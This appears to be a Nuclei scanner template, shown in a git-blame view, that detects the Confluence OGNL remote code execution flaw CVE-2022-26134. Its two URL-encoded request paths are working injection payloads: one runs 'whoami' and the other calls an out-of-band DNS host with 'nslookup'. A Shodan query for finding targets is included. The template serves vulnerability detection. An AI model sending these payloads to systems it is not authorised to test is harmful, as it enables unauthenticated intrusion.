2022-06-03 20:11:56 +00:00
|
|
|
id: CVE-2022-26134
|
|
|
|
|
|
|
|
info:
|
2022-07-04 14:37:51 +00:00
|
|
|
name: Confluence - Remote Code Execution
|
2022-06-03 21:07:36 +00:00
|
|
|
author: pdteam,jbertman
|
2022-06-03 20:11:56 +00:00
|
|
|
severity: critical
|
|
|
|
description: |
|
2022-07-04 14:37:51 +00:00
|
|
|
Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
|
2022-06-03 20:11:56 +00:00
|
|
|
reference:
|
|
|
|
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
|
|
|
|
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
|
2022-06-03 21:07:36 +00:00
|
|
|
- https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
|
2022-06-04 09:18:35 +00:00
|
|
|
- https://jira.atlassian.com/browse/CONFSERVER-79016
|
2022-06-03 20:11:56 +00:00
|
|
|
classification:
|
2022-06-15 07:24:08 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2022-06-03 20:11:56 +00:00
|
|
|
cve-id: CVE-2022-26134
|
2022-06-15 07:24:08 +00:00
|
|
|
cwe-id: CWE-74
|
2023-04-12 10:55:48 +00:00
|
|
|
epss-score: 0.97542
|
2022-06-04 09:18:35 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 2
|
2022-06-04 09:18:35 +00:00
|
|
|
shodan-query: http.component:"Atlassian Confluence"
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2022-07-21 17:18:22 +00:00
|
|
|
tags: cve,cve2022,confluence,rce,ognl,oast,kev
|
2022-06-03 20:11:56 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-06-03 20:11:56 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2022-06-03 21:07:36 +00:00
|
|
|
- "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
|
2022-06-03 20:11:56 +00:00
|
|
|
- "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"
|
|
|
|
|
2022-06-03 21:07:36 +00:00
|
|
|
stop-at-first-match: true
|
|
|
|
req-condition: true
|
|
|
|
matchers-condition: or
|
2022-06-03 20:11:56 +00:00
|
|
|
matchers:
|
2022-06-03 21:07:36 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(to_lower(all_headers_1), "x-cmd-response:")'
|
2022-06-03 20:11:56 +00:00
|
|
|
|
2022-06-03 21:07:36 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(interactsh_protocol, "dns")'
|
|
|
|
- 'contains(to_lower(response_2), "confluence")'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: kval
|
|
|
|
part: header
|
|
|
|
kval:
|
2022-07-04 14:37:51 +00:00
|
|
|
- "x_cmd_response"
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/07/04
|